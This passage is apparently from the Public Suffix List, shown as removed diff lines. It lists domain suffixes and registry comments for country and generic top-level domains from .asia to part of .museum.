http://en.wikipedia.org/wiki/.asia -asia - -// at : http://en.wikipedia.org/wiki/.at -// Confirmed by registry 2008-06-17 -at -ac.at -co.at -gv.at -or.at - -// http://www.info.at/ -biz.at -info.at - -// priv.at : http://www.nic.priv.at/ -// Submitted by registry 2008-06-09 -priv.at - -// au : http://en.wikipedia.org/wiki/.au -*.au -// au geographical names (vic.au etc... are covered above) -act.edu.au -nsw.edu.au -nt.edu.au -qld.edu.au -sa.edu.au -tas.edu.au -vic.edu.au -wa.edu.au -act.gov.au -// Removed at request of Shae.Donelan@services.nsw.gov.au, 2010-03-04 -// nsw.gov.au -nt.gov.au -qld.gov.au -sa.gov.au -tas.gov.au -vic.gov.au -wa.gov.au -// CGDNs - http://www.aucd.org.au/ -act.au -nsw.au -nt.au -qld.au -sa.au -tas.au -vic.au -wa.au - -// aw : http://en.wikipedia.org/wiki/.aw -aw -com.aw - -// ax : http://en.wikipedia.org/wiki/.ax -ax - -// az : http://en.wikipedia.org/wiki/.az -az -com.az -net.az -int.az -gov.az -org.az -edu.az -info.az -pp.az -mil.az -name.az -pro.az -biz.az - -// ba : http://en.wikipedia.org/wiki/.ba -ba -org.ba -net.ba -edu.ba -gov.ba -mil.ba -unsa.ba -unbi.ba -co.ba -com.ba -rs.ba - -// bb : http://en.wikipedia.org/wiki/.bb -bb -biz.bb -com.bb -edu.bb -gov.bb -info.bb -net.bb -org.bb -store.bb - -// bd : http://en.wikipedia.org/wiki/.bd -*.bd - -// be : http://en.wikipedia.org/wiki/.be -// Confirmed by registry 2008-06-08 -be -ac.be - -// bf : http://en.wikipedia.org/wiki/.bf -bf -gov.bf - -// bg : http://en.wikipedia.org/wiki/.bg -// https://www.register.bg/user/static/rules/en/index.html -bg -a.bg -b.bg -c.bg -d.bg -e.bg -f.bg -g.bg -h.bg -i.bg -j.bg -k.bg -l.bg -m.bg -n.bg -o.bg -p.bg -q.bg -r.bg -s.bg -t.bg -u.bg -v.bg -w.bg -x.bg -y.bg -z.bg -0.bg -1.bg -2.bg -3.bg -4.bg -5.bg -6.bg -7.bg -8.bg -9.bg - -// bh : http://en.wikipedia.org/wiki/.bh -bh -com.bh -edu.bh -net.bh -org.bh -gov.bh - -// bi : http://en.wikipedia.org/wiki/.bi -// http://whois.nic.bi/ -bi -co.bi -com.bi -edu.bi -or.bi -org.bi - -// biz : http://en.wikipedia.org/wiki/.biz -biz - -// bj : http://en.wikipedia.org/wiki/.bj -bj -asso.bj -barreau.bj -gouv.bj - -// bm : http://www.bermudanic.bm/dnr-text.txt -bm -com.bm -edu.bm -gov.bm -net.bm -org.bm - -// bn : http://en.wikipedia.org/wiki/.bn -*.bn - -// bo : http://www.nic.bo/ -bo -com.bo -edu.bo -gov.bo -gob.bo -int.bo -org.bo -net.bo -mil.bo -tv.bo - -// br : http://registro.br/dominio/dpn.html -// Updated by registry 2011-03-01 -br -adm.br -adv.br -agr.br -am.br -arq.br -art.br -ato.br -b.br -bio.br -blog.br -bmd.br -can.br -cim.br -cng.br -cnt.br -com.br -coop.br -ecn.br -edu.br -emp.br -eng.br -esp.br -etc.br -eti.br -far.br -flog.br -fm.br -fnd.br -fot.br -fst.br -g12.br -ggf.br -gov.br -imb.br -ind.br -inf.br -jor.br -jus.br -lel.br -mat.br -med.br -mil.br -mus.br -net.br -nom.br -not.br -ntr.br -odo.br -org.br -ppg.br -pro.br -psc.br -psi.br -qsl.br -radio.br -rec.br -slg.br -srv.br -taxi.br -teo.br -tmp.br -trd.br -tur.br -tv.br -vet.br -vlog.br -wiki.br -zlg.br - -// bs : http://www.nic.bs/rules.html -bs -com.bs -net.bs -org.bs -edu.bs -gov.bs - -// bt : http://en.wikipedia.org/wiki/.bt -bt -com.bt -edu.bt -gov.bt -net.bt -org.bt - -// bv : No registrations at this time. -// Submitted by registry 2006-06-16 - -// bw : http://en.wikipedia.org/wiki/.bw -// http://www.gobin.info/domainname/bw.doc -// list of other 2nd level tlds ? -bw -co.bw -org.bw - -// by : http://en.wikipedia.org/wiki/.by -// http://tld.by/rules_2006_en.html -// list of other 2nd level tlds ? -by -gov.by -mil.by -// Official information does not indicate that com.by is a reserved -// second-level domain, but it's being used as one (see www.google.com.by and -// www.yahoo.com.by, for example), so we list it here for safety's sake. -com.by - -// http://hoster.by/ -of.by - -// bz : http://en.wikipedia.org/wiki/.bz -// http://www.belizenic.bz/ -bz -com.bz -net.bz -org.bz -edu.bz -gov.bz - -// ca : http://en.wikipedia.org/wiki/.ca -ca -// ca geographical names -ab.ca -bc.ca -mb.ca -nb.ca -nf.ca -nl.ca -ns.ca -nt.ca -nu.ca -on.ca -pe.ca -qc.ca -sk.ca -yk.ca -// gc.ca: http://en.wikipedia.org/wiki/.gc.ca -// see also: http://registry.gc.ca/en/SubdomainFAQ -gc.ca - -// cat : http://en.wikipedia.org/wiki/.cat -cat - -// cc : http://en.wikipedia.org/wiki/.cc -cc - -// cd : http://en.wikipedia.org/wiki/.cd -// see also: https://www.nic.cd/domain/insertDomain_2.jsp?act=1 -cd -gov.cd - -// cf : http://en.wikipedia.org/wiki/.cf -cf - -// cg : http://en.wikipedia.org/wiki/.cg -cg - -// ch : http://en.wikipedia.org/wiki/.ch -ch - -// ci : http://en.wikipedia.org/wiki/.ci -// http://www.nic.ci/index.php?page=charte -ci -org.ci -or.ci -com.ci -co.ci -edu.ci -ed.ci -ac.ci -net.ci -go.ci -asso.ci -aéroport.ci -int.ci -presse.ci -md.ci -gouv.ci - -// ck : http://en.wikipedia.org/wiki/.ck -*.ck - -// cl : http://en.wikipedia.org/wiki/.cl -cl -gov.cl -gob.cl - -// cm : http://en.wikipedia.org/wiki/.cm -cm -gov.cm - -// cn : http://en.wikipedia.org/wiki/.cn -// Submitted by registry 2008-06-11 -cn -ac.cn -com.cn -edu.cn -gov.cn -net.cn -org.cn -mil.cn -公司.cn -网络.cn -網絡.cn -// cn geographic names -ah.cn -bj.cn -cq.cn -fj.cn -gd.cn -gs.cn -gz.cn -gx.cn -ha.cn -hb.cn -he.cn -hi.cn -hl.cn -hn.cn -jl.cn -js.cn -jx.cn -ln.cn -nm.cn -nx.cn -qh.cn -sc.cn -sd.cn -sh.cn -sn.cn -sx.cn -tj.cn -xj.cn -xz.cn -yn.cn -zj.cn -hk.cn -mo.cn -tw.cn - -// co : http://en.wikipedia.org/wiki/.co -// Submitted by registry 2008-06-11 -co -arts.co -com.co -edu.co -firm.co -gov.co -info.co -int.co -mil.co -net.co -nom.co -org.co -rec.co -web.co - -// com : http://en.wikipedia.org/wiki/.com -com - -// CentralNic names : http://www.centralnic.com/names/domains -// Confirmed by registry 2008-06-09 -ar.com -br.com -cn.com -de.com -eu.com -gb.com -hu.com -jpn.com -kr.com -no.com -qc.com -ru.com -sa.com -se.com -uk.com -us.com -uy.com -za.com - -// Requested by Yngve Pettersen 2009-11-26 -operaunite.com - -// Requested by Eduardo Vela 2010-09-06 -appspot.com - -// coop : http://en.wikipedia.org/wiki/.coop -coop - -// cr : http://www.nic.cr/niccr_publico/showRegistroDominiosScreen.do -cr -ac.cr -co.cr -ed.cr -fi.cr -go.cr -or.cr -sa.cr - -// cu : http://en.wikipedia.org/wiki/.cu -cu -com.cu -edu.cu -org.cu -net.cu -gov.cu -inf.cu - -// cv : http://en.wikipedia.org/wiki/.cv -cv - -// cx : http://en.wikipedia.org/wiki/.cx -// list of other 2nd level tlds ? -cx -gov.cx - -// cy : http://en.wikipedia.org/wiki/.cy -*.cy - -// cz : http://en.wikipedia.org/wiki/.cz -cz - -// de : http://en.wikipedia.org/wiki/.de -// Confirmed by registry (with technical -// reservations) 2008-07-01 -de - -// dj : http://en.wikipedia.org/wiki/.dj -dj - -// dk : http://en.wikipedia.org/wiki/.dk -// Confirmed by registry 2008-06-17 -dk - -// dm : http://en.wikipedia.org/wiki/.dm -dm -com.dm -net.dm -org.dm -edu.dm -gov.dm - -// do : http://en.wikipedia.org/wiki/.do -do -art.do -com.do -edu.do -gob.do -gov.do -mil.do -net.do -org.do -sld.do -web.do - -// dz : http://en.wikipedia.org/wiki/.dz -dz -com.dz -org.dz -net.dz -gov.dz -edu.dz -asso.dz -pol.dz -art.dz - -// ec : http://www.nic.ec/reg/paso1.asp -// Submitted by registry 2008-07-04 -ec -com.ec -info.ec -net.ec -fin.ec -k12.ec -med.ec -pro.ec -org.ec -edu.ec -gov.ec -gob.ec -mil.ec - -// edu : http://en.wikipedia.org/wiki/.edu -edu - -// ee : http://www.eenet.ee/EENet/dom_reeglid.html#lisa_B -ee -edu.ee -gov.ee -riik.ee -lib.ee -med.ee -com.ee -pri.ee -aip.ee -org.ee -fie.ee - -// eg : http://en.wikipedia.org/wiki/.eg -eg -com.eg -edu.eg -eun.eg -gov.eg -mil.eg -name.eg -net.eg -org.eg -sci.eg - -// er : http://en.wikipedia.org/wiki/.er -*.er - -// es : https://www.nic.es/site_ingles/ingles/dominios/index.html -es -com.es -nom.es -org.es -gob.es -edu.es - -// et : http://en.wikipedia.org/wiki/.et -*.et - -// eu : http://en.wikipedia.org/wiki/.eu -eu - -// fi : http://en.wikipedia.org/wiki/.fi -fi -// aland.fi : http://en.wikipedia.org/wiki/.ax -// This domain is being phased out in favor of .ax. As there are still many -// domains under aland.fi, we still keep it on the list until aland.fi is -// completely removed. -// TODO: Check for updates (expected to be phased out around Q1/2009) -aland.fi -// iki.fi : Submitted by Hannu Aronsson 2009-11-05 -iki.fi - -// fj : http://en.wikipedia.org/wiki/.fj -*.fj - -// fk : http://en.wikipedia.org/wiki/.fk -*.fk - -// fm : http://en.wikipedia.org/wiki/.fm -fm - -// fo : http://en.wikipedia.org/wiki/.fo -fo - -// fr : http://www.afnic.fr/ -// domaines descriptifs : http://www.afnic.fr/obtenir/chartes/nommage-fr/annexe-descriptifs -fr -com.fr -asso.fr -nom.fr -prd.fr -presse.fr -tm.fr -// domaines sectoriels : http://www.afnic.fr/obtenir/chartes/nommage-fr/annexe-sectoriels -aeroport.fr -assedic.fr -avocat.fr -avoues.fr -cci.fr -chambagri.fr -chirurgiens-dentistes.fr -experts-comptables.fr -geometre-expert.fr -gouv.fr -greta.fr -huissier-justice.fr -medecin.fr -notaires.fr -pharmacien.fr -port.fr -veterinaire.fr - -// ga : http://en.wikipedia.org/wiki/.ga -ga - -// gb : This registry is effectively dormant -// Submitted by registry 2008-06-12 - -// gd : http://en.wikipedia.org/wiki/.gd -gd - -// ge : http://www.nic.net.ge/policy_en.pdf -ge -com.ge -edu.ge -gov.ge -org.ge -mil.ge -net.ge -pvt.ge - -// gf : http://en.wikipedia.org/wiki/.gf -gf - -// gg : http://www.channelisles.net/applic/avextn.shtml -gg -co.gg -org.gg -net.gg -sch.gg -gov.gg - -// gh : http://en.wikipedia.org/wiki/.gh -// see also: http://www.nic.gh/reg_now.php -// Although domains directly at second level are not possible at the moment, -// they have been possible for some time and may come back. -gh -com.gh -edu.gh -gov.gh -org.gh -mil.gh - -// gi : http://www.nic.gi/rules.html -gi -com.gi -ltd.gi -gov.gi -mod.gi -edu.gi -org.gi - -// gl : http://en.wikipedia.org/wiki/.gl -// http://nic.gl -gl - -// gm : http://www.nic.gm/htmlpages%5Cgm-policy.htm -gm - -// gn : http://psg.com/dns/gn/gn.txt -// Submitted by registry 2008-06-17 -ac.gn -com.gn -edu.gn -gov.gn -org.gn -net.gn - -// gov : http://en.wikipedia.org/wiki/.gov -gov - -// gp : http://www.nic.gp/index.php?lang=en -gp -com.gp -net.gp -mobi.gp -edu.gp -org.gp -asso.gp - -// gq : http://en.wikipedia.org/wiki/.gq -gq - -// gr : https://grweb.ics.forth.gr/english/1617-B-2005.html -// Submitted by registry 2008-06-09 -gr -com.gr -edu.gr -net.gr -org.gr -gov.gr - -// gs : http://en.wikipedia.org/wiki/.gs -gs - -// gt : http://www.gt/politicas.html -*.gt - -// gu : http://gadao.gov.gu/registration.txt -*.gu - -// gw : http://en.wikipedia.org/wiki/.gw -gw - -// gy : http://en.wikipedia.org/wiki/.gy -// http://registry.gy/ -gy -co.gy -com.gy -net.gy - -// hk : https://www.hkdnr.hk -// Submitted by registry 2008-06-11 -hk -com.hk -edu.hk -gov.hk -idv.hk -net.hk -org.hk -公司.hk -教育.hk -敎育.hk -政府.hk -個人.hk -个人.hk -箇人.hk -網络.hk -网络.hk -组織.hk -網絡.hk -网絡.hk -组织.hk -組織.hk -組织.hk - -// hm : http://en.wikipedia.org/wiki/.hm -hm - -// hn : http://www.nic.hn/politicas/ps02,,05.html -hn -com.hn -edu.hn -org.hn -net.hn -mil.hn -gob.hn - -// hr : http://www.dns.hr/documents/pdf/HRTLD-regulations.pdf -hr -iz.hr -from.hr -name.hr -com.hr - -// ht : http://www.nic.ht/info/charte.cfm -ht -com.ht -shop.ht -firm.ht -info.ht -adult.ht -net.ht -pro.ht -org.ht -med.ht -art.ht -coop.ht -pol.ht -asso.ht -edu.ht -rel.ht -gouv.ht -perso.ht - -// hu : http://www.domain.hu/domain/English/sld.html -// Confirmed by registry 2008-06-12 -hu -co.hu -info.hu -org.hu -priv.hu -sport.hu -tm.hu -2000.hu -agrar.hu -bolt.hu -casino.hu -city.hu -erotica.hu -erotika.hu -film.hu -forum.hu -games.hu -hotel.hu -ingatlan.hu -jogasz.hu -konyvelo.hu -lakas.hu -media.hu -news.hu -reklam.hu -sex.hu -shop.hu -suli.hu -szex.hu -tozsde.hu -utazas.hu -video.hu - -// id : http://en.wikipedia.org/wiki/.id -// see also: https://register.pandi.or.id/ -id -ac.id -co.id -go.id -mil.id -net.id -or.id -sch.id -web.id - -// ie : http://en.wikipedia.org/wiki/.ie -ie -gov.ie - -// il : http://en.wikipedia.org/wiki/.il -*.il - -// im : https://www.nic.im/pdfs/imfaqs.pdf -im -co.im -ltd.co.im -plc.co.im -net.im -gov.im -org.im -nic.im -ac.im - -// in : http://en.wikipedia.org/wiki/.in -// see also: http://www.inregistry.in/policies/ -// Please note, that nic.in is not an offical eTLD, but used by most -// government institutions. -in -co.in -firm.in -net.in -org.in -gen.in -ind.in -nic.in -ac.in -edu.in -res.in -gov.in -mil.in - -// info : http://en.wikipedia.org/wiki/.info -info - -// int : http://en.wikipedia.org/wiki/.int -// Confirmed by registry 2008-06-18 -int -eu.int - -// io : http://www.nic.io/rules.html -// list of other 2nd level tlds ? -io -com.io - -// iq : http://www.cmc.iq/english/iq/iqregister1.htm -iq -gov.iq -edu.iq -mil.iq -com.iq -org.iq -net.iq - -// ir : http://www.nic.ir/Terms_and_Conditions_ir,_Appendix_1_Domain_Rules -// Also see http://www.nic.ir/Internationalized_Domain_Names -// Two .ir entries added at request of , 2010-04-16 -ir -ac.ir -co.ir -gov.ir -id.ir -net.ir -org.ir -sch.ir -// xn--mgba3a4f16a.ir (.ir, Persian YEH) -ایران.ir -// xn--mgba3a4fra.ir (.ir, Arabic YEH) -ايران.ir - -// is : http://www.isnic.is/domain/rules.php -// Confirmed by registry 2008-12-06 -is -net.is -com.is -edu.is -gov.is -org.is -int.is - -// it : http://en.wikipedia.org/wiki/.it -it -gov.it -edu.it -// list of reserved geo-names : -// http://www.nic.it/documenti/regolamenti-e-linee-guida/regolamento-assegnazione-versione-6.0.pdf -// (There is also a list of reserved geo-names corresponding to Italian -// municipalities : http://www.nic.it/documenti/appendice-c.pdf , but it is -// not included here.) -agrigento.it -ag.it -alessandria.it -al.it -ancona.it -an.it -aosta.it -aoste.it -ao.it -arezzo.it -ar.it -ascoli-piceno.it -ascolipiceno.it -ap.it -asti.it -at.it -avellino.it -av.it -bari.it -ba.it -andria-barletta-trani.it -andriabarlettatrani.it -trani-barletta-andria.it -tranibarlettaandria.it -barletta-trani-andria.it -barlettatraniandria.it -andria-trani-barletta.it -andriatranibarletta.it -trani-andria-barletta.it -traniandriabarletta.it -bt.it -belluno.it -bl.it -benevento.it -bn.it -bergamo.it -bg.it -biella.it -bi.it -bologna.it -bo.it -bolzano.it -bozen.it -balsan.it -alto-adige.it -altoadige.it -suedtirol.it -bz.it -brescia.it -bs.it -brindisi.it -br.it -cagliari.it -ca.it -caltanissetta.it -cl.it -campobasso.it -cb.it -carboniaiglesias.it -carbonia-iglesias.it -iglesias-carbonia.it -iglesiascarbonia.it -ci.it -caserta.it -ce.it -catania.it -ct.it -catanzaro.it -cz.it -chieti.it -ch.it -como.it -co.it -cosenza.it -cs.it -cremona.it -cr.it -crotone.it -kr.it -cuneo.it -cn.it -dell-ogliastra.it -dellogliastra.it -ogliastra.it -og.it -enna.it -en.it -ferrara.it -fe.it -fermo.it -fm.it -firenze.it -florence.it -fi.it -foggia.it -fg.it -forli-cesena.it -forlicesena.it -cesena-forli.it -cesenaforli.it -fc.it -frosinone.it -fr.it -genova.it -genoa.it -ge.it -gorizia.it -go.it -grosseto.it -gr.it -imperia.it -im.it -isernia.it -is.it -laquila.it -aquila.it -aq.it -la-spezia.it -laspezia.it -sp.it -latina.it -lt.it -lecce.it -le.it -lecco.it -lc.it -livorno.it -li.it -lodi.it -lo.it -lucca.it -lu.it -macerata.it -mc.it -mantova.it -mn.it -massa-carrara.it -massacarrara.it -carrara-massa.it -carraramassa.it -ms.it -matera.it -mt.it -medio-campidano.it -mediocampidano.it -campidano-medio.it -campidanomedio.it -vs.it -messina.it -me.it -milano.it -milan.it -mi.it -modena.it -mo.it -monza.it -monza-brianza.it -monzabrianza.it -monzaebrianza.it -monzaedellabrianza.it -monza-e-della-brianza.it -mb.it -napoli.it -naples.it -na.it -novara.it -no.it -nuoro.it -nu.it -oristano.it -or.it -padova.it -padua.it -pd.it -palermo.it -pa.it -parma.it -pr.it -pavia.it -pv.it -perugia.it -pg.it -pescara.it -pe.it -pesaro-urbino.it -pesarourbino.it -urbino-pesaro.it -urbinopesaro.it -pu.it -piacenza.it -pc.it -pisa.it -pi.it -pistoia.it -pt.it -pordenone.it -pn.it -potenza.it -pz.it -prato.it -po.it -ragusa.it -rg.it -ravenna.it -ra.it -reggio-calabria.it -reggiocalabria.it -rc.it -reggio-emilia.it -reggioemilia.it -re.it -rieti.it -ri.it -rimini.it -rn.it -roma.it -rome.it -rm.it -rovigo.it -ro.it -salerno.it -sa.it -sassari.it -ss.it -savona.it -sv.it -siena.it -si.it -siracusa.it -sr.it -sondrio.it -so.it -taranto.it -ta.it -tempio-olbia.it -tempioolbia.it -olbia-tempio.it -olbiatempio.it -ot.it -teramo.it -te.it -terni.it -tr.it -torino.it -turin.it -to.it -trapani.it -tp.it -trento.it -trentino.it -tn.it -treviso.it -tv.it -trieste.it -ts.it -udine.it -ud.it -varese.it -va.it -venezia.it -venice.it -ve.it -verbania.it -vb.it -vercelli.it -vc.it -verona.it -vr.it -vibo-valentia.it -vibovalentia.it -vv.it -vicenza.it -vi.it -viterbo.it -vt.it - -// je : http://www.channelisles.net/applic/avextn.shtml -je -co.je -org.je -net.je -sch.je -gov.je - -// jm : http://www.com.jm/register.html -*.jm - -// jo : http://www.dns.jo/Registration_policy.aspx -jo -com.jo -org.jo -net.jo -edu.jo -sch.jo -gov.jo -mil.jo -name.jo - -// jobs : http://en.wikipedia.org/wiki/.jobs -jobs - -// jp : http://en.wikipedia.org/wiki/.jp -// http://jprs.co.jp/en/jpdomain.html -// Submitted by registry 2008-06-11 -// Updated by registry 2008-12-04 -jp -// jp organizational type names -ac.jp -ad.jp -co.jp -ed.jp -go.jp -gr.jp -lg.jp -ne.jp -or.jp -// jp geographic type names -// http://jprs.jp/doc/rule/saisoku-1.html -*.aichi.jp -*.akita.jp -*.aomori.jp -*.chiba.jp -*.ehime.jp -*.fukui.jp -*.fukuoka.jp -*.fukushima.jp -*.gifu.jp -*.gunma.jp -*.hiroshima.jp -*.hokkaido.jp -*.hyogo.jp -*.ibaraki.jp -*.ishikawa.jp -*.iwate.jp -*.kagawa.jp -*.kagoshima.jp -*.kanagawa.jp -*.kawasaki.jp -*.kitakyushu.jp -*.kobe.jp -*.kochi.jp -*.kumamoto.jp -*.kyoto.jp -*.mie.jp -*.miyagi.jp -*.miyazaki.jp -*.nagano.jp -*.nagasaki.jp -*.nagoya.jp -*.nara.jp -*.niigata.jp -*.oita.jp -*.okayama.jp -*.okinawa.jp -*.osaka.jp -*.saga.jp -*.saitama.jp -*.sapporo.jp -*.sendai.jp -*.shiga.jp -*.shimane.jp -*.shizuoka.jp -*.tochigi.jp -*.tokushima.jp -*.tokyo.jp -*.tottori.jp -*.toyama.jp -*.wakayama.jp -*.yamagata.jp -*.yamaguchi.jp -*.yamanashi.jp -*.yokohama.jp -!metro.tokyo.jp -!pref.aichi.jp -!pref.akita.jp -!pref.aomori.jp -!pref.chiba.jp -!pref.ehime.jp -!pref.fukui.jp -!pref.fukuoka.jp -!pref.fukushima.jp -!pref.gifu.jp -!pref.gunma.jp -!pref.hiroshima.jp -!pref.hokkaido.jp -!pref.hyogo.jp -!pref.ibaraki.jp -!pref.ishikawa.jp -!pref.iwate.jp -!pref.kagawa.jp -!pref.kagoshima.jp -!pref.kanagawa.jp -!pref.kochi.jp -!pref.kumamoto.jp -!pref.kyoto.jp -!pref.mie.jp -!pref.miyagi.jp -!pref.miyazaki.jp -!pref.nagano.jp -!pref.nagasaki.jp -!pref.nara.jp -!pref.niigata.jp -!pref.oita.jp -!pref.okayama.jp -!pref.okinawa.jp -!pref.osaka.jp -!pref.saga.jp -!pref.saitama.jp -!pref.shiga.jp -!pref.shimane.jp -!pref.shizuoka.jp -!pref.tochigi.jp -!pref.tokushima.jp -!pref.tottori.jp -!pref.toyama.jp -!pref.wakayama.jp -!pref.yamagata.jp -!pref.yamaguchi.jp -!pref.yamanashi.jp -!city.chiba.jp -!city.fukuoka.jp -!city.hiroshima.jp -!city.kawasaki.jp -!city.kitakyushu.jp -!city.kobe.jp -!city.kyoto.jp -!city.nagoya.jp -!city.niigata.jp -!city.okayama.jp -!city.osaka.jp -!city.saitama.jp -!city.sapporo.jp -!city.sendai.jp -!city.shizuoka.jp -!city.yokohama.jp - -// ke : http://www.kenic.or.ke/index.php?option=com_content&task=view&id=117&Itemid=145 -*.ke - -// kg : http://www.domain.kg/dmn_n.html -kg -org.kg -net.kg -com.kg -edu.kg -gov.kg -mil.kg - -// kh : http://www.mptc.gov.kh/dns_registration.htm -*.kh - -// ki : http://www.ki/dns/index.html -ki -edu.ki -biz.ki -net.ki -org.ki -gov.ki -info.ki -com.ki - -// km : http://en.wikipedia.org/wiki/.km -// http://www.domaine.km/documents/charte.doc -km -org.km -nom.km -gov.km -prd.km -tm.km -edu.km -mil.km -ass.km -com.km -// These are only mentioned as proposed suggestions at domaine.km, but -// http://en.wikipedia.org/wiki/.km says they're available for registration: -coop.km -asso.km -presse.km -medecin.km -notaires.km -pharmaciens.km -veterinaire.km -gouv.km - -// kn : http://en.wikipedia.org/wiki/.kn -// http://www.dot.kn/domainRules.html -kn -net.kn -org.kn -edu.kn -gov.kn - -// kp : http://www.kcce.kp/en_index.php -com.kp -edu.kp -gov.kp -org.kp -rep.kp -tra.kp - -// kr : http://en.wikipedia.org/wiki/.kr -// see also: http://domain.nida.or.kr/eng/registration.jsp -kr -ac.kr -co.kr -es.kr -go.kr -hs.kr -kg.kr -mil.kr -ms.kr -ne.kr -or.kr -pe.kr -re.kr -sc.kr -// kr geographical names -busan.kr -chungbuk.kr -chungnam.kr -daegu.kr -daejeon.kr -gangwon.kr -gwangju.kr -gyeongbuk.kr -gyeonggi.kr -gyeongnam.kr -incheon.kr -jeju.kr -jeonbuk.kr -jeonnam.kr -seoul.kr -ulsan.kr - -// kw : http://en.wikipedia.org/wiki/.kw -*.kw - -// ky : http://www.icta.ky/da_ky_reg_dom.php -// Confirmed by registry 2008-06-17 -ky -edu.ky -gov.ky -com.ky -org.ky -net.ky - -// kz : http://en.wikipedia.org/wiki/.kz -// see also: http://www.nic.kz/rules/index.jsp -kz -org.kz -edu.kz -net.kz -gov.kz -mil.kz -com.kz - -// la : http://en.wikipedia.org/wiki/.la -// Submitted by registry 2008-06-10 -la -int.la -net.la -info.la -edu.la -gov.la -per.la -com.la -org.la -// see http://www.c.la/ -c.la - -// lb : http://en.wikipedia.org/wiki/.lb -// Submitted by registry 2008-06-17 -com.lb -edu.lb -gov.lb -net.lb -org.lb - -// lc : http://en.wikipedia.org/wiki/.lc -// see also: http://www.nic.lc/rules.htm -lc -com.lc -net.lc -co.lc -org.lc -edu.lc -gov.lc - -// li : http://en.wikipedia.org/wiki/.li -li - -// lk : http://www.nic.lk/seclevpr.html -lk -gov.lk -sch.lk -net.lk -int.lk -com.lk -org.lk -edu.lk -ngo.lk -soc.lk -web.lk -ltd.lk -assn.lk -grp.lk -hotel.lk - -// local : http://en.wikipedia.org/wiki/.local -local - -// lr : http://psg.com/dns/lr/lr.txt -// Submitted by registry 2008-06-17 -com.lr -edu.lr -gov.lr -org.lr -net.lr - -// ls : http://en.wikipedia.org/wiki/.ls -ls -co.ls -org.ls - -// lt : http://en.wikipedia.org/wiki/.lt -lt -// gov.lt : http://www.gov.lt/index_en.php -gov.lt - -// lu : http://www.dns.lu/en/ -lu - -// lv : http://www.nic.lv/DNS/En/generic.php -lv -com.lv -edu.lv -gov.lv -org.lv -mil.lv -id.lv -net.lv -asn.lv -conf.lv - -// ly : http://www.nic.ly/regulations.php -ly -com.ly -net.ly -gov.ly -plc.ly -edu.ly -sch.ly -med.ly -org.ly -id.ly - -// ma : http://en.wikipedia.org/wiki/.ma -// http://www.anrt.ma/fr/admin/download/upload/file_fr782.pdf -ma -co.ma -net.ma -gov.ma -org.ma -ac.ma -press.ma - -// mc : http://www.nic.mc/ -mc -tm.mc -asso.mc - -// md : http://en.wikipedia.org/wiki/.md -md - -// me : http://en.wikipedia.org/wiki/.me -me -co.me -net.me -org.me -edu.me -ac.me -gov.me -its.me -priv.me - -// mg : http://www.nic.mg/tarif.htm -mg -org.mg -nom.mg -gov.mg -prd.mg -tm.mg -edu.mg -mil.mg -com.mg - -// mh : http://en.wikipedia.org/wiki/.mh -mh - -// mil : http://en.wikipedia.org/wiki/.mil -mil - -// mk : http://en.wikipedia.org/wiki/.mk -// see also: http://dns.marnet.net.mk/postapka.php -mk -com.mk -org.mk -net.mk -edu.mk -gov.mk -inf.mk -name.mk - -// ml : http://www.gobin.info/domainname/ml-template.doc -// see also: http://en.wikipedia.org/wiki/.ml -ml -com.ml -edu.ml -gouv.ml -gov.ml -net.ml -org.ml -presse.ml - -// mm : http://en.wikipedia.org/wiki/.mm -*.mm - -// mn : http://en.wikipedia.org/wiki/.mn -mn -gov.mn -edu.mn -org.mn - -// mo : http://www.monic.net.mo/ -mo -com.mo -net.mo -org.mo -edu.mo -gov.mo - -// mobi : http://en.wikipedia.org/wiki/.mobi -mobi - -// mp : http://www.dot.mp/ -// Confirmed by registry 2008-06-17 -mp - -// mq : http://en.wikipedia.org/wiki/.mq -mq - -// mr : http://en.wikipedia.org/wiki/.mr -mr -gov.mr - -// ms : http://en.wikipedia.org/wiki/.ms -ms - -// mt : https://www.nic.org.mt/dotmt/ -*.mt - -// mu : http://en.wikipedia.org/wiki/.mu -mu -com.mu -net.mu -org.mu -gov.mu -ac.mu -co.mu -or.mu - -// museum : http://about.museum/naming/ -// http://index.museum/ -museum -academy.museum -agriculture.museum -air.museum -airguard.museum -alabama.museum -alaska.museum -amber.museum -ambulance.museum -american.museum -americana.museum -americanantiques.museum -americanart.museum -amsterdam.museum -and.museum -annefrank.museum -anthro.museum -anthropology.museum -antiques.museum -aquarium.museum -arboretum.museum -archaeological.museum -archaeology.museum -architecture.museum -art.museum -artanddesign.museum -artcenter.museum -artdeco.museum -arteducation.museum -artgallery.museum -arts.museum -artsandcrafts.museum -asmatart.museum -assassination.museum -assisi.museum -association.museum -astronomy.museum -atlanta.museum -austin.museum -australia.museum -automotive.museum -aviation.museum -axis.museum -badajoz.museum -baghdad.museum -bahn.museum -bale.museum -baltimore.museum -barcelona.museum -baseball.museum -basel.museum -baths.museum -bauern.museum -beauxarts.museum -beeldengeluid.museum -bellevue.museum -bergbau.museum -berkeley.museum -berlin.museum -bern.museum -bible.museum -bilbao.museum -bill.museum -birdart.museum -birthplace.museum -bonn.museum -boston.museum -botanical.museum -botanicalgarden.museum -botanicgarden.museum -botany.museum -brandywinevalley.museum -brasil.museum -bristol.museum -british.museum -britishcolumbia.museum -broadcast.museum -brunel.museum -brussel.museum -brussels.museum -bruxelles.museum -building.museum -burghof.museum -bus.museum -bushey.museum -cadaques.museum -california.museum -cambridge.museum -can.museum -canada.museum -capebreton.museum -carrier.museum -cartoonart.museum -casadelamoneda.museum -castle.museum -castres.museum -celtic.museum -center.museum -chattanooga.museum -cheltenham.museum -chesapeakebay.museum -chicago.museum -children.museum -childrens.museum -childrensgarden.museum -chiropractic.museum -chocolate.museum -christiansburg.museum -cincinnati.museum -cinema.museum -circus.museum -civilisation.museum -civilization.museum -civilwar.museum -clinton.museum -clock.museum -coal.museum -coastaldefence.museum -cody.museum -coldwar.museum -collection.museum -colonialwilliamsburg.museum -coloradoplateau.museum -columbia.museum -columbus.museum -communication.museum -communications.museum -community.museum -computer.museum -computerhistory.museum -comunicações.museum -contemporary.museum -contemporaryart.museum -convent.museum -copenhagen.museum -corporation.museum -correios-e-telecomunicações.museum -corvette.museum -costume.museum -countryestate.museum -county.museum -crafts.museum -cranbrook.museum -creation.museum -cultural.museum -culturalcenter.museum -culture.museum -cyber.museum -cymru.museum -dali.museum -dallas.museum -database.museum -ddr.museum -decorativearts.museum -delaware.museum -delmenhorst.museum -denmark.museum -depot.museum -design.museum -detroit.museum -dinosaur.museum -discovery.museum -dolls.museum -donostia.museum -durham.museum -eastafrica.museum -eastcoast.museum -education.museum -educational.museum -egyptian.museum -eisenbahn.museum -elburg.museum -elvendrell.museum -embroidery.museum -encyclopedic.museum -england.museum -entomology.museum 